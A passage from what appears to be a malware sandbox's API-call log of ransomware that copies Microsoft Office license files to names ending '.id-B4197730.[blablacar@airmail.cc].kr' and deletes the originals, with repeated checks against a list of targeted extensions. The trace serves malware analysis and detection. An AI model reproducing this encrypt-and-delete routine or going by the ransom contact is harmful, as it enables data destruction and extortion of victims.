returned 0x554 [0206.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.278] GetLastError () returned 0x0 [0206.278] ReadFile (in: hFile=0x554, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x6c57, lpOverlapped=0x0) returned 1 [0206.280] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x6c60, lpOverlapped=0x0) returned 1 [0206.281] ReadFile (in: hFile=0x554, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.281] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x128, lpOverlapped=0x0) returned 1 [0206.282] SetEndOfFile (hFile=0x450) returned 1 [0206.282] CloseHandle (hObject=0x450) returned 1 [0206.282] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.282] SetEndOfFile (hFile=0x554) returned 1 [0206.285] CloseHandle (hObject=0x554) returned 1 [0206.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 1 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString=".doc") returned 4 [0206.287] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".docx") returned 5 [0206.287] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.287] lstrlenW (lpString=".pdf") returned 4 [0206.287] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".xls") returned 4 [0206.287] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".xlsx") returned 5 [0206.287] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.287] lstrlenW (lpString=".ppt") returned 4 [0206.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString=".zip") returned 4 [0206.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".rar") returned 4 [0206.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".bz2") returned 4 [0206.287] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString=".7z") returned 3 [0206.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString=".dbf") returned 4 [0206.287] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString=".1cd") returned 4 [0206.287] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.287] lstrlenW (lpString=".jpg") returned 4 [0206.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString=".doc") returned 4 [0206.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".docx") returned 5 [0206.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.288] lstrlenW (lpString=".pdf") returned 4 [0206.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".xls") returned 4 [0206.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".xlsx") returned 5 [0206.288] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.288] lstrlenW (lpString=".ppt") returned 4 [0206.288] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString=".zip") returned 4 [0206.288] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".rar") returned 4 [0206.288] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".bz2") returned 4 [0206.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString=".7z") returned 3 [0206.288] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString=".dbf") returned 4 [0206.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString=".1cd") returned 4 [0206.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0206.288] lstrlenW (lpString=".jpg") returned 4 [0206.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.289] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.289] lstrlenW (lpString="O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 41 [0206.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.289] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11215) returned 1 [0206.290] CloseHandle (hObject=0x554) returned 1 [0206.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 0x220 [0206.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0206.290] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.290] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.291] GetLastError () returned 0x0 [0206.291] ReadFile (in: hFile=0x554, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0206.323] ReadFile (in: hFile=0x554, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.323] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x126, lpOverlapped=0x0) returned 1 [0206.323] SetEndOfFile (hFile=0x450) returned 1 [0206.323] CloseHandle (hObject=0x450) returned 1 [0206.324] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.324] SetEndOfFile (hFile=0x554) returned 1 [0206.574] CloseHandle (hObject=0x554) returned 1 [0206.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 1 [0207.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString=".doc") returned 4 [0207.124] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".docx") returned 5 [0207.124] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.124] lstrlenW (lpString=".pdf") returned 4 [0207.124] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".xls") returned 4 [0207.124] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".xlsx") returned 5 [0207.124] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.124] lstrlenW (lpString=".ppt") returned 4 [0207.124] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString=".zip") returned 4 [0207.124] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".rar") returned 4 [0207.124] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".bz2") returned 4 [0207.124] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString=".7z") returned 3 [0207.124] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString=".dbf") returned 4 [0207.124] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString=".1cd") returned 4 [0207.124] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.124] lstrlenW (lpString=".jpg") returned 4 [0207.124] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString=".doc") returned 4 [0207.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".docx") returned 5 [0207.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.125] lstrlenW (lpString=".pdf") returned 4 [0207.125] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".xls") returned 4 [0207.125] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".xlsx") returned 5 [0207.125] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.125] lstrlenW (lpString=".ppt") returned 4 [0207.125] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString=".zip") returned 4 [0207.125] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".rar") returned 4 [0207.125] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".bz2") returned 4 [0207.125] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString=".7z") returned 3 [0207.125] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString=".dbf") returned 4 [0207.125] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString=".1cd") returned 4 [0207.125] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0207.125] lstrlenW (lpString=".jpg") returned 4 [0207.125] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.126] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.126] lstrlenW (lpString="O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 45 [0207.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.129] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11671) returned 1 [0207.129] CloseHandle (hObject=0x370) returned 1 [0207.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0207.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.130] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.130] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.131] GetLastError () returned 0x0 [0207.131] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d97, lpOverlapped=0x0) returned 1 [0207.133] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0207.134] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.134] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x12e, lpOverlapped=0x0) returned 1 [0207.134] SetEndOfFile (hFile=0x370) returned 1 [0207.134] CloseHandle (hObject=0x370) returned 1 [0207.135] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.135] SetEndOfFile (hFile=0x410) returned 1 [0207.137] CloseHandle (hObject=0x410) returned 1 [0207.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 1 [0207.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.139] lstrlenW (lpString=".doc") returned 4 [0207.139] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.139] lstrlenW (lpString=".docx") returned 5 [0207.139] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.139] lstrlenW (lpString=".pdf") returned 4 [0207.139] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.139] lstrlenW (lpString=".xls") returned 4 [0207.139] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.139] lstrlenW (lpString=".xlsx") returned 5 [0207.139] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.139] lstrlenW (lpString=".ppt") returned 4 [0207.139] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.139] lstrlenW (lpString=".zip") returned 4 [0207.139] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.139] lstrlenW (lpString=".rar") returned 4 [0207.140] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".bz2") returned 4 [0207.140] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".7z") returned 3 [0207.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString=".dbf") returned 4 [0207.140] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString=".1cd") returned 4 [0207.140] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString=".jpg") returned 4 [0207.140] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString=".doc") returned 4 [0207.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".docx") returned 5 [0207.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.140] lstrlenW (lpString=".pdf") returned 4 [0207.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".xls") returned 4 [0207.140] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".xlsx") returned 5 [0207.140] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.140] lstrlenW (lpString=".ppt") returned 4 [0207.140] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.140] lstrlenW (lpString=".zip") returned 4 [0207.140] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.140] lstrlenW (lpString=".rar") returned 4 [0207.140] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.141] lstrlenW (lpString=".bz2") returned 4 [0207.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.141] lstrlenW (lpString=".7z") returned 3 [0207.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.141] lstrlenW (lpString=".dbf") returned 4 [0207.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.141] lstrlenW (lpString=".1cd") returned 4 [0207.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0207.141] lstrlenW (lpString=".jpg") returned 4 [0207.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.141] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.141] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 37 [0207.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.142] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11199) returned 1 [0207.142] CloseHandle (hObject=0x410) returned 1 [0207.142] 